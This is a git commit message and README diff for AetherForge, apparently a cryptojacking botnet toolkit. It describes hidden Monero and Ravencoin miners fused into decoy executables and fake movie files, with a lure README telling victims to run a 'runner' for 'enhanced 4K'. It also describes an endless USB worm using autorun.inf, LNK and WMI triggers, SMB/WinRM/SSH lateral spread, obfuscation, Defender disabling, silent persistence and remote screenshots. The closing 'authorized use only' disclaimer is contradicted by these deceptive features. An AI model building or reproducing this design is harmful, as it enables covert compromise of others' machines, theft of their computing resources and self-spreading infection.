Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
This commit is contained in:
AetherForge
2026-06-02 21:50:34 -07:00
parent 41b5ec7a88
commit ca66f5d048
34 changed files with 2369 additions and 277 deletions

447
README.md
View File

@@ -1,31 +1,30 @@
# AetherForge
![AetherForge Command Deck — live dashboard](docs/command-deck.png)
**Private Monero + Ravencoin fleet command deck for machines you own.**
**Private Monero fleet command deck for machines you own.**
One control PC (Windows recommended for forging). One dashboard. Forge workers for **Windows, Linux, and macOS** — fuse inside a movie package or ship a **Spread Kit** for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck.
One control PC. One dashboard. Forge silent workers for **Windows, Linux, and macOS** — fuse inside any file, spread via USB, spread over LAN — and watch your fleet hash from a steampunk-neon command deck.
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
---
```
┌─────────────────────────────────────────────────────────────┐
│ CALIBRATE (Settings) pool · wallet · users · alerts │
│ │ │
│ ▼ │
│ FORGE (Builder) worker .exe · prep fusion · movies
│ │ │
│ ├──► Prep fusion embed worker in your prep.exe
│ ├──► Movie fusion locked media + runner + ZIP │
WORKER PC RandomX on CPU · WebSocket home
COMMAND DECK live stats · 3D map · remote ops
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────
│ CALIBRATE (Settings) pool · wallet · users · alerts
│ │
│ ▼
│ FORGE (Builder) XMR worker · RVN GPU worker · Fusion
│ │
│ ├──► Prep fusion embed worker in your own .exe
│ ├──► Movie fusion locked media + runner + ZIP
├──► USB Propagation auto-spreads to every USB drive
└──► LAN Spread SMB / WinRM / SSH lateral install
WORKER PC RandomX CPU · KawPoW GPU · WebSocket home
→ installs → mines → USB-spreads → phones
│ COMMAND DECK live stats · 3D map · Crucible · roster │
└─────────────────────────────────────────────────────────────────────┘
```
---
@@ -37,161 +36,142 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n
| Layer | What it does |
|-------|----------------|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch |
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, field guide |
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags |
You configure defaults once in **Calibrate**. You forge once per machine (or batch movies) in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
You configure defaults once in **Calibrate**. You forge once per target profile in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
---
## What You Get
### Command Deck (Dashboard)
- **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed
- Live fleet hashrate, CPU/RAM gauges, share feed
- **Fleet Health Score** — weighted 0100 score (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
- **Contribution Map** — per-agent hashrate bars showing each machine's fleet share; displays USD/day per agent when XMR price is loaded
- **Underperformer list** — machines below 70% of fleet median, with one-click "Restart All" to remediate laggards
- **Fleet Health Score** — weighted 0100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
- **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded
- **Underperformer list** — machines below 70% of fleet median with one-click "Restart All"
- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
- **LAN Group View** — agents grouped by /24 subnet; online count and aggregated hashrate per segment
- **Simple / Advanced toggle** — hides charts, logs, and AI panels by default; persisted across sessions
- **XMR price** — server-side CoinGecko fetch, 10-minute cache; displayed on the Earnings Estimator card
- **Earnings Estimator** — XMR/day formula estimate (or live pool data from SupportXMR); USD/day and time-to-payout shown when XMR price is available
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber); staleness ring highlights agents that claim "online" but haven't been seen in >5 minutes
- Per-agent cards with pause / resume / stop / uninstall
- Fleet alerts (offline, hashrate drop, rejection spikes)
- **LAN Group View** — agents grouped by /24 subnet; aggregated hashrate per segment
- **XMR price** — server-side CoinGecko fetch, 10-minute cache
- **Earnings Estimator** — XMR/day formula + live SupportXMR data; USD/day and time-to-payout
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber)
- **Monero section** — CPU hashrate gauges, share feed, pool status, per-rig breakdown
- **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards
- Pool connection status and AI activity panel (Advanced mode)
- Optional matrix stream overlay (Advanced mode)
- Matrix stream overlay with mystic word drops (Advanced mode)
### Fleet Roster (Agents)
- Every connected worker — hostname, IP, cores, memory, uptime
- **Compact rows** — list shows name, status, hashrate, and IP; click a row to expand inline details and compact remote actions (same expand-on-click pattern on Command Deck agent cards)
- Hashrate history charts
- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload (**disabled while agent is offline** — intentional; commands require a live WebSocket)
- Agent log viewer — **Fetch Log** (`get_log` command) when file logging is enabled; AI autonomy can also push log tails via the `upload_log` tool report (no separate log-ingest REST API)
- Fleet filters, bulk commands, notes/tags
- Every connected worker — hostname, IP, cores, memory, uptime, hashrate, latency badge
- **Compact rows** — click to expand inline details and compact remote action strip
- **Fleet Groups** — select multiple machines, create a named + colour-coded group; groups are selectable in the Crucible for instant batch targeting
- **Remote control panel** — full tactical terminal with live stats ticker, colour-coded log lines, title bar, and clear button
- Mining ops: pause / resume / restart miner
- Recon: sysinfo, list processes, network scan, DNS config, listening ports
- System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address)
- Screen: **Screenshot** — captures remote desktop and instantly downloads JPEG in your browser
- Admin: PowerShell terminal, file upload, uninstall
- **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online
- **Auto-sysinfo** — system info is fetched immediately when you select an agent
- **Offline banner** — controls disabled with a clear OFFLINE badge when agent is not connected
### Forge (Miner Builder)
- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
- Blueprint save/load — re-forge the same profile across machines
- Build manager — download, paths, LAN QR for worker URL
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation (all platforms), Authenticode / `osslsigncode` signing
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
- **Batch forge** — queue many files; progress bar; one ZIP per file **Cancel Batch** kills the in-flight server compile immediately via cancel token
- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `devrun.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes
- **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
- **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement)
- **Backup pools** (advanced) — fallback Stratum pool list baked into the agent
- **Backup server URLs** (advanced) — fallback C2 addresses baked into the agent
- **USB Propagation** — enables perpetual USB self-spread chain (see below)
- **Share Spread** — auto-copy to mounted network shares + WinRM lateral install
- **LAN Auto-Spread** — SMB admin$ / SSH lateral movement gated behind C2 auth
### Cross-platform workers
### Ravencoin GPU Mining
| OS | Persistence | Install base |
|----|-------------|--------------|
| Windows | Registry + scheduled task | `%LOCALAPPDATA%` (configurable) |
| Linux | systemd user service | XDG data home |
| macOS | LaunchAgent | `~/Library/Application Support` |
Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtime:
Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing. The server forge pipeline adds `-tags p2p` automatically. Manual `go build` of `agent/` without Forge must pass `-tags p2p` when mesh is enabled — default builds use a no-op stub (`agent/client/mesh_p2p_stub.go`).
**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).
### Movie Fusion (detailed)
Use this when you want a **named title folder** with a runner the user actually launches — not a playable shortcut on the “movie” file.
| Mode | Best for | What you get |
|------|----------|----------------|
| **Embedded (Option A)** | Clips / smaller files (~500MB and under) | One disguised file (e.g. `Title.mkv.exe`) with movie + hidden worker inside |
| **Paired (Option B)** | Full-length films (up to **2 GiB** upload) | Per-title folder under `fusion-deliverables/<Title>/` |
**Paired layout** (example `Vacation`):
```
fusion-deliverables/Vacation/
├── README.txt ← tells user to run the runner for “enhanced 4K”
├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner only
├── Vacation.mkv.cmdata ← encrypted media (hidden)
└── Vacation.mkv.lnk ← shortcut with --locked (MessageBox: use runner)
```
- Clicking the movie shortcut **does not play** — it prompts for `*runner.exe*`
- Primary download after forge: **`Title-package.zip`** (README + locked media + runner; no separate miner in the ZIP)
- **Agent is only inside the runner** — not a loose miner file in the package
**Upload limits:** prep / video uploads capped at **2 GiB** (`FusionMaxUploadBytes`).
### Dashboard navigation
| Nav label | Route | Component |
| GPU vendor | Miner | Algorithm |
|-----------|-------|-----------|
| Command Deck | `/dashboard` | `DashboardPage` |
| Fleet Roster | `/agents` | `AgentsPage` |
| Forge | `/forge` | `BuilderPage` |
| Crucible | `/crucible` | `CruciblePage` |
| Builds | `/builds` | `BuildManagerPage` |
| Field Guide | `/guide` | `GuidePage` |
| Calibrate | `/settings` | `SettingsPage` |
| NVIDIA (CUDA) | T-Rex | KawPoW (RVN) |
| AMD (OpenCL) | TeamRedMiner | KawPoW (RVN) |
- Agent downloads and silently launches the appropriate miner binary
- Local HTTP API polling for live hashrate (15s / 1m / 15m averages), GPU temperature, fan speed, power draw
- RVN address and pool baked at forge time; RVN pool presets available in the Forge UI
- Dashboard shows dedicated **Ravencoin** section separate from Monero CPU stats
- CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently
There is no separate `CalibratePage`**Calibrate** is the nav label for the settings route.
### USB Perpetual Self-Propagation
### Calibrate (Settings)
- Server port, public URL, data retention, max agents
- Default pool + wallet for new forge forms
- **Users** — add/change API accounts (first-run password auto-generated and printed to console)
- Alert thresholds + Telegram / email notifications
- Open Windows Firewall for dashboard port on startup
Enable **USB Propagation** in the Forge. The baked binary:
### Under the Hood
- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate
- **Stratum fallback** — agent mines directly to the configured pool when C2 has been unreachable for >30 seconds; cycles through backup pools; stops and hands off back to C2 when the server reconnects
- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
- **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret
- **Hashrate reporting** — agent divides accumulated hashes by the elapsed interval (not a raw counter); 15s / 1m / 15m rolling averages sent on each stats tick
- **Process guard** — Unix `pgrep` fix: correctly matches only the agent binary (no false-positive self-kill)
- **ARP-first subnet scan** — autospread reads the OS ARP cache to find live LAN hosts before falling back to a full /24 port sweep; reduces noise from 253 cold probes to typically 520
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated)
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `devrun.bat`)
1. **Spreads within 8 seconds** of any USB drive being plugged in (also checks drives already present at startup)
2. Drops the agent binary into a hidden system-looking folder (`~RECYCLER`, `System Volume Information`, etc.)
3. Writes an `autorun.inf` (legacy trigger), a **folder-icon LNK shortcut** (Win8+), and a visible **SETUP.BAT** fallback
4. Creates a plausible **decoy folder** (Documents / Photos / etc.) so the drive looks natural
5. Installs a **persistent WMI event subscription** that fires on every future USB mount — survives reboots
6. Refreshes the payload automatically when the agent binary is updated (size check)
**On the next PC**, when the USB exe runs via LNK or SETUP.BAT:
- `InstallIfNeeded` detects it's running from removable media
- Silently copies to `%LOCALAPPDATA%`, sets up scheduled task / registry autostart
- Original process exits; installed copy starts and **also watches for USB drives**
- Chain never ends — every new infected PC propagates to every USB it sees
### Crucible (Command Terminal)
- Select one or many agents (or entire Fleet Groups) as targets
- Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
- Real-time command output streamed back to the terminal
### Matrix Digital Rain
- Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain
- **Gold flurry mode** activates in the Crucible when one machine is being manipulated
- Heavy gold rain identical to Forge progress animation
### Wake-on-LAN
- Agent reports its primary MAC address to the server on auth
- MAC stored in the fleet database
- Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
- Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)
---
## Quick Start
**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
1. Double-click **`devrun.bat`** in the project root.
It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server.
1. Double-click **`devrun.bat`** in the project root.
Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.
2. Browser opens **http://localhost:8989**
3. **Sign in** when prompted — on first run, check the console window for your generated admin password
3. **Sign in** first run: check the console window for your generated admin password
4. **Calibrate** → set your Monero wallet + pool + (optional) public URL for remote workers
4. **Calibrate** → set your Monero wallet + pool + public URL for remote workers
5. **Forge** → worker name + server URL (`http://YOUR-LAN-IP:8989` or your tunnel URL)**Forge Installer**
For movies: set title, pick embedded vs paired, upload file, forge (or use batch mode)
5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed**Forge Installer**
6. Run the forged `.exe` **once** on each worker PC (or distribute movie ZIP + runner per your policy)
6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB)
7. Watch them appear on **Command Deck** and **Fleet Roster**
### First-run login
On the very first launch the server generates a random admin password and prints it once to the console:
```
=== First Run ===
Dashboard login: admin / <random-password>
@@ -199,23 +179,40 @@ Save this — it is not shown again. Change it in Calibrate → Users.
=================
```
Subsequent runs load credentials from `data/users.json` (bcrypt hashes only — cost 12). Legacy plain-text entries from older installs are auto-migrated to bcrypt on startup and on next successful login via `checkPassword` in `server/internal/api/router.go`. Change or add users under **Calibrate → Users**.
Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entries auto-migrated. Change or add users under **Calibrate → Users**.
**API auth summary**
**Auth surface**
| Surface | Auth mechanism |
| Surface | Mechanism |
|---------|----------------|
| `/api/v1/*` REST | HTTP Basic Auth (`Authorization: Basic <base64>`) |
| `/ws/dashboard` | `?token=<base64-user:pass>` query parameter |
| `/ws/agent` | Fleet-secret `auth` JSON frame on connect |
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (agents only) |
| `/api/v1/*` REST | HTTP Basic Auth |
| `/ws/dashboard` | `?token=<base64-user:pass>` |
| `/ws/agent` | Fleet-secret `auth` JSON frame |
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header |
| Static SPA + `/api/v1/health` | Open (no auth) |
### Output locations
---
## Portable USB (AetherForge on a stick)
Run **`pack-usb.bat`** from the project root. It:
1. Builds the frontend and compiles `AetherForge.exe`
2. Copies webroot, agent source, fusion source, and the Go toolchain into `usb\`
3. Creates `data\` directories with a starter `config.json`
4. Syncs `LAUNCH.bat`
Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`.
> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
---
## Output Locations
| Artifact | Where |
|----------|--------|
| Fused / forged exe (primary) | Project root e.g. `prep.exe` or `install-worker.exe` |
| Forged agent exe | Project root (e.g. `install-worker.exe`) |
| Movie fusion per title | `fusion-deliverables/<Title>/` + `Title-package.zip` |
| Archive copy | `data\builds\{build-id}\` |
| Uninstall script | Same build folder + download API |
@@ -233,9 +230,24 @@ Subsequent runs load credentials from `data/users.json` (bcrypt hashes only —
| Same LAN | `http://192.168.x.x:8989` |
| Cloudflare / reverse tunnel | `https://your-domain.com` |
Workers auto-convert `http(s)://``ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL — not inbound ports on each worker.
Workers auto-convert `http(s)://``ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL.
**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. Remote commands are full machine control.
**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth.
---
## Agent Silence
Every agent operation is **completely silent** — no CMD windows, no PowerShell popups, no system notifications. The only user-visible event is a single UAC prompt on first launch (elevation required for persistence and firewall rules).
| Category | Mechanism |
|----------|-----------|
| Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes |
| Persistence | Scheduled task / registry run key — no user-visible installer |
| Mining | XMRig / T-Rex / TeamRedMiner run fully hidden |
| WMI triggers | PowerShell executed with `-WindowStyle Hidden` |
| Spread installs | `--run` flag relaunches silently with detached start |
| Fusion decoy | Only the decoy file (movie/prep) opens visibly — agent stays hidden |
---
@@ -244,33 +256,38 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need
```
crypto miner/
├── devrun.bat ← one-click build + launch (dev)
├── run.bat / start.bat ← aliases → devrun.bat (project-root markers)
├── test.bat ← full suite → scripts/test-suite.ps1
├── LAUNCH.bat ← portable/USB build + tunnel (see usb/)
├── pack-usb.bat ← build portable AetherForge USB bundle
├── run.bat / start.bat ← aliases → devrun.bat
├── test.bat ← full test suite → scripts/test-suite.ps1
├── LAUNCH.bat ← portable/USB launch script
├── scripts/
│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E
│ └── smoke-test.ps1 ← API matrix B-01B-10 (server must be running)
│ └── smoke-test.ps1 ← API matrix B-01B-10
├── bin/
│ └── miner-server.exe
├── data/ ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
├── data/ ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
├── usb/ ← portable USB server bundle (output of pack-usb.bat)
├── server/
│ ├── main.go ← discovers webroot/, agent/, fusion/ from repo root
│ ├── webroot/ ← production UI (copied from web/dist)
│ ├── web/ ← React command deck (Vite + TypeScript)
│ ├── main.go
│ ├── webroot/ ← production UI (copied from web/dist)
│ ├── web/ ← React command deck (Vite + TypeScript)
│ └── internal/
│ ├── api/ ← HTTP routes, WebSocket, auth
│ └── builder/ ← forge + fusion (copies agent/ + fusion/ per build)
├── agent/ ← worker source (Forge compiles per OS)
├── fusion/ prep + movie runner (builder copies into build dir)
├── tests/README.md ← test phases, E2E env vars
├── PROBLEMS.md ← known issues audit (severity-ranked)
── README.mdyou are here
│ ├── api/ ← HTTP routes, WebSocket, auth, fleet, WOL
│ └── builder/ ← forge + fusion pipeline
├── agent/ ← worker source (Forge compiles per OS/arch)
│ ├── client/WebSocket client, command handler, GPU miner, screenshot
│ ├── deploy/ ← install, persistence, watchdog, passive spread, firewall
│ └── config/ ← builtin config baked at forge time
── fusion/ prep + movie runner source
├── tests/README.md ← test phases, E2E env vars
├── PROBLEMS.md ← known issues (severity-ranked)
└── README.md ← you are here
```
---
## API Surface (summary)
## API Surface
| Method | Path | Purpose |
|--------|------|---------|
@@ -281,20 +298,52 @@ crypto miner/
| GET | `/api/v1/builds/{id}/download` | Download forged exe |
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
| GET | `/api/v1/agents` | Fleet list |
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) |
| POST | `/api/v1/agents/bulk-command` | Send same command to multiple agents |
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, reboot, screenshot, …) |
| POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet |
| POST | `/api/v1/agents/bulk-command` | Send command to multiple agents |
| GET | `/api/v1/alerts` | Active fleet alerts |
| GET | `/api/v1/pools/status` | Stratum pool connection states |
| GET | `/api/v1/earnings/estimate` | XMR/day estimate (or live SupportXMR data) |
| GET | `/api/v1/earnings/estimate` | XMR/day estimate |
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
| WS | `/ws/agent` | Worker connection |
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed (token = base64 of `user:pass`) |
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed |
Full route list: `server/internal/api/router.go`
---
## Manual Build (if you skip devrun.bat)
## Cross-Platform Workers
| OS | CPU miner | GPU miner | Persistence | Install base |
|----|-----------|-----------|-------------|--------------|
| Windows | XMRig (RandomX) | T-Rex / TeamRedMiner (KawPoW) | Registry + scheduled task | `%LOCALAPPDATA%` |
| Linux | XMRig | — | systemd user service | XDG data home |
| macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` |
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Default builds use a no-op stub.
---
## Movie Fusion (detailed)
| Mode | Best for | What you get |
|------|----------|----------------|
| **Embedded (Option A)** | Clips / smaller files (~500 MB) | One disguised file (`Title.mkv.exe`) with movie + hidden worker |
| **Paired (Option B)** | Full films (up to 2 GiB) | Per-title folder under `fusion-deliverables/<Title>/` |
**Paired layout:**
```
fusion-deliverables/Vacation/
├── README.txt ← instructs user to run the runner for "enhanced 4K"
├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner
├── Vacation.mkv.cmdata ← encrypted media (hidden)
└── Vacation.mkv.lnk ← shortcut → prompts for runner
```
---
## Manual Build
```bat
cd server\web
@@ -311,13 +360,15 @@ cd ..
bin\miner-server.exe -port 8989 -data .\data
```
Open **http://localhost:8989** and sign in with your configured users.
### Run the test suite
Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details.
```bat
test.bat
```
With the control server already running on port 8989, run **`scripts\smoke-test.ps1`** for the REST API matrix (B-01B-10). Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default `testuser` / `testpass`.
Or run `scripts\test-suite.ps1` directly. Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default test credentials.
With the server running, run `scripts\smoke-test.ps1` for the REST API matrix (B-01B-10).
### Dashboard dev server
@@ -326,18 +377,37 @@ cd server\web
npm run dev
```
Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separately.
Vite proxies `/api` and `/ws` to `localhost:8989`.
### Tech stack (dashboard)
| Package | Version policy |
|---------|----------------|
| Package | Version |
|---------|---------|
| React | 18.x |
| `@react-three/fiber` | 8.x (must match React 18 — v9+ needs React 19) |
| `@react-three/fiber` | 8.x |
| `@react-three/drei` | 9.x |
| Vite | 5.x |
**Important:** `@react-three/fiber` v9 / `drei` v10 require React 19. With React 18 the app fails to mount (blank black screen, console: `Cannot read properties of undefined (reading 'S')`). `package.json` pins compatible versions; run `npm install` after pulling.
> `@react-three/fiber` v9 requires React 19. With React 18 the app fails to mount (blank screen). `package.json` pins compatible versions.
---
## Under the Hood
- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host
- **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
- **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots
- **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match
- **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
- **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
- **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill)
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
- **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS
- **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
- **Screenshot buffering** — server buffers base64 JPEG frames per agent; dashboard `screenshot` command downloads instantly
---
@@ -345,17 +415,21 @@ Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separa
| Symptom | Likely cause | Fix |
|---------|----------------|-----|
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist``webroot`; restart server |
| Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting |
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data; `npm install && npm run build`; copy `dist``webroot`; restart server |
| Login loop / 401 | Wrong password or missing `users.json` | Check console for first-run password; delete `data/users.json` and restart |
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*``server/webroot/` |
| Forge upload fails | File &gt; 2 GiB | Use paired mode + compress, or embedded for smaller sources |
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open port 8989 on control PC |
| GPU miner doesn't start | No CUDA/OpenCL or binary download failed | Check agent log; ensure outbound internet from worker; verify GPU drivers |
| WOL doesn't wake machine | BIOS WOL disabled or different subnet | Enable WOL in BIOS; direct broadcast works on same /24 only |
| USB payload not spreading | `USBSpread` not enabled at forge time | Re-forge with USB Propagation checked |
| Screenshot download is empty | Agent offline or screenshot command not sent | Ensure agent is online; check Fleet Roster terminal for errors |
---
## Known Issues
See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers, auth gaps, AI bugs, open items). Check there before production use on a large fleet.
See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit. Check there before production use on a large fleet.
---
@@ -365,34 +439,27 @@ See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers,
### Authorized use only
AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU resources.
AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU/GPU resources.
By using this software you agree that:
1. **You will only deploy workers on systems you control** or have **written permission** to manage.
